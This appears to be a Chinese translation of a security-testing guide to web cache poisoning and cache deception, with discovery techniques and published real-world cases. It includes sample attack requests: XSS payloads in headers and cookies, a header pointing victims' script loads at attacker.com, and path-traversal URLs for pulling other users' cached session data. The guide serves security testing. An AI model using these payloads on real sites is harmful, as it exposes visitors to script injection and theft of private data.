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缓存毒化和缓存欺骗

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区别

Web缓存毒化和Web缓存欺骗有何区别？

  • 在Web缓存毒化中，攻击者导致应用程序在缓存中存储一些恶意内容，并且这些内容从缓存中提供给其他应用程序用户。
  • 在Web缓存欺骗中，攻击者导致应用程序在缓存中存储属于另一个用户的一些敏感内容，然后攻击者从缓存中检索这些内容。

缓存毒化

缓存毒化旨在操纵客户端缓存，以强制客户端加载意外、部分或受攻击者控制的资源。受影响页面的流行程度决定了影响的程度，因为受污染的响应仅提供给在缓存污染期间访问页面的用户。

执行缓存毒化攻击涉及几个步骤：

  1. 识别无键输入：这些是虽然不是请求缓存所必需的参数，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
  2. 利用无键输入：在识别无键输入后，下一步涉及弄清如何滥用这些参数，以使服务器的响应以有利于攻击者的方式进行修改。
  3. 确保毒化响应被缓存：最后一步是确保操纵的响应存储在缓存中。这样，任何在缓存被毒化时访问受影响页面的用户都将收到受污染的响应。

发现：检查HTTP头

通常，当响应被存储在缓存中时，会有一个指示的头部，您可以在此帖子中查看应该注意的头部：HTTP缓存头部。

发现：缓存400状态码

如果您认为响应被存储在缓存中，可以尝试发送带有错误头部的请求，应该会收到状态码400的响应。然后尝试正常访问请求，如果响应是400状态码，则表示存在漏洞（甚至可以执行DoS攻击）。
一个配置不当的头部可能只是\:作为头部。
请注意，有时这些类型的状态码不会被缓存，因此此测试将无效。

发现：识别和评估无键输入

您可以使用Param Miner来暴力破解可能会改变页面响应的参数和头部。例如，页面可能正在使用头部X-Forwarded-For来指示客户端从那里加载脚本：

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

引发后端服务器的有害响应

通过识别的参数/标头，检查它是如何被清理以及它是如何被反映或影响标头响应的。您能否以任何方式滥用它（执行 XSS 或加载由您控制的 JS 代码？执行 DoS？...）

获取响应缓存

一旦您确定了可以滥用的页面，要使用的参数/标头以及如何滥用它，您需要将页面缓存。取决于您尝试缓存的资源，这可能需要一些时间，您可能需要尝试几秒钟。
响应中的标头 X-Cache 可能非常有用，因为当请求未被缓存时，它可能具有值 miss，而当它被缓存时则为 hit。
标头 Cache-Control 也很有趣，可以知道资源是否被缓存，下次资源将再次被缓存的时间是什么时候：Cache-Control: public, max-age=1800
另一个有趣的标头是 Vary。此标头通常用于指示其他标头，即使它们通常不是关键的，也会被视为缓存键的一部分。因此，如果用户知道受害者的 User-Agent，他可以为使用该特定 User-Agent 的用户毒害缓存。
与缓存相关的另一个标头是 Age。它定义了对象在代理缓存中存在的秒数。

在缓存请求时，要小心使用标头，因为其中一些可能会意外使用为关键，受害者将需要使用相同的标头。始终使用不同的浏览器测试缓存投毒以检查是否有效。

利用示例

最简单的示例

像 X-Forwarded-For 这样的标头在响应中未经过清理地反映出来。
您可以发送基本的 XSS 负载并毒害缓存，因此每个访问该页面的人都将受到 XSS 攻击：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

使用Web缓存欺骗来利用处理Cookie的漏洞

Cookie也可能会在页面的响应中反映出来。如果您可以滥用它来引发跨站脚本攻击，那么您可能能够利用恶意缓存响应中加载的多个客户端中的XSS。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

利用路径遍历进行缓存欺骗以窃取 API 密钥

这篇文章解释了 如何通过类似 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 的 URL 来窃取 OpenAI API 密钥，因为任何匹配 /share/* 的内容都会被缓存，而 Cloudflare 在请求到达 Web 服务器时并未对 URL 进行规范化。

利用多个标头来利用 Web 缓存欺骗漏洞

有时，您需要利用多个未加密的输入来滥用缓存。例如，如果您将 X-Forwarded-Host 设置为您控制的域，并将 X-Forwarded-Scheme 设置为 http，如果服务器将所有HTTP请求转发到 HTTPS，并使用标头 X-Forwarded-Scheme 作为重定向的域名，您可以通过重定向控制页面指向的位置。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

利用有限的 Vary 头部

如果你发现 X-Host 头部被用作域名来加载一个JS资源，但响应中的 Vary 头部指示了 User-Agent。那么，你需要找到一种方法来窃取受害者的用户代理，并使用该用户代理来操纵缓存：

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

利用 HTTP 请求串改进行 HTTP 缓存投毒攻击

了解如何通过滥用 HTTP 请求串改进行缓存投毒攻击。

Web 缓存投毒的自动化测试

Web 缓存漏洞扫描器可用于自动测试 Web 缓存投毒。它支持许多不同的技术，并且高度可定制化。

示例用法：wcvs -u example.com


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可被攻击的示例

Apache Traffic Server (CVE-2021-27577)

ATS 转发了 URL 中的片段而没有剥离它，并且仅使用主机、路径和查询生成缓存密钥（忽略片段）。因此，请求 /#/../?r=javascript:alert(1) 被发送到后端作为 /#/../?r=javascript:alert(1)，缓存密钥中不包含有效载荷，只有主机、路径和查询。

GitHub CP-DoS

在内容类型标头中发送错误值会触发 405 缓存响应。缓存密钥包含了 cookie，因此只能攻击未经授权的用户。

GitLab + GCP CP-DoS

GitLab 使用 GCP 存储静态内容。GCP 存储桶 支持 头部 x-http-method-override。因此，可以发送头部 x-http-method-override: HEAD 并投毒缓存以返回空响应主体。它还可以支持方法 PURGE。

Rack Middleware（Ruby on Rails）

在 Ruby on Rails 应用程序中，经常使用 Rack 中间件。Rack 代码的目的是获取 x-forwarded-scheme 标头的值并将其设置为请求的方案。当发送标头 x-forwarded-scheme: http 时，会发生到相同位置的 301 重定向，可能导致对该资源的拒绝服务（DoS）。此外，应用程序可能会识别 X-forwarded-host 标头并将用户重定向到指定的主机。这种行为可能导致从攻击者服务器加载 JavaScript 文件，存在安全风险。

403 和存储桶

Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问 S3 或 Azure 存储 Blob 会导致缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应，但这种行为可能仍存在于其他代理服务中。

注入键参数

缓存通常在缓存密钥中包含特定的 GET 参数。例如，Fastly 的 Varnish 在请求中缓存了 size 参数。但是，如果还使用了参数的 URL 编码版本（例如，siz%65）并陦入了错误值，缓存密钥将使用正确的 size 参数构建。然而，后端会处理 URL 编码参数中的值。对第二个 size 参数进行 URL 编码会导致缓存中省略该参数，但后端会使用它。将此参数赋值为 0 会导致可缓存的 400 Bad Request 错误。

用户代理规则

一些开发人员会阻止与高流量工具（如 FFUF 或 Nuclei）匹配的用户代理的请求，以管理服务器负载。具有讽刺意味的是，这种方法可能会引入缓存投毒和 DoS 等漏洞。

非法标头字段

RFC7230 指定了标头名称中可接受的字符。标头包含超出指定 tchar 范围的字符应该理想情况下触发 400 Bad Request 响应。实际上，服务器并不总是遵循这一标准。一个值得注意的例子是 Akamai，它会转发带有无效字符的标头并缓存任何 400 错误，只要不存在 cache-control 标头。发现了一个可利用的模式，发送带有非法字符的标头，例如 \，会导致可缓存的 400 Bad Request 错误。

查找新标头

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

缓存欺骗

缓存欺骗的目标是使客户端加载将由缓存保存的资源及其敏感信息。

首先请注意，例如 .css、.js、.png 等扩展名通常被配置为保存在缓存中。因此，如果访问 www.example.com/profile.php/nonexistent.js，缓存可能会存储响应，因为它看到了 .js 扩展名。但是，如果应用程序正在重放存储在 www.example.com/profile.php 中的敏感用户内容，您可以从其他用户那里窃取这些内容。

其他要测试的内容：

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • 使用较少人知道的扩展名，如 .avif

另一个非常明显的例子可以在这篇文章中找到：https://hackerone.com/reports/593712。
在这个例子中，解释了如果加载一个不存在的页面，如 http://www.example.com/home.php/non-existent.css，将返回 http://www.example.com/home.php 的内容（带有用户的敏感信息），并且缓存服务器将保存结果。
然后，攻击者可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察之前访问过的用户的机密信息。

请注意，缓存代理应该根据文件的扩展名（.css）而不是根据内容类型来配置缓存文件。在示例中，http://www.example.com/home.php/non-existent.css 将具有 text/html 内容类型，而不是预期的 text/css MIME 类型（这是 .css 文件的预期类型）。

了解如何通过滥用 HTTP 请求串改进行缓存欺骗攻击。

自动化工具

  • toxicache：Golang 扫描器，用于在 URL 列表中查找 Web 缓存投毒漏洞并测试多种注入技术。

参考资料


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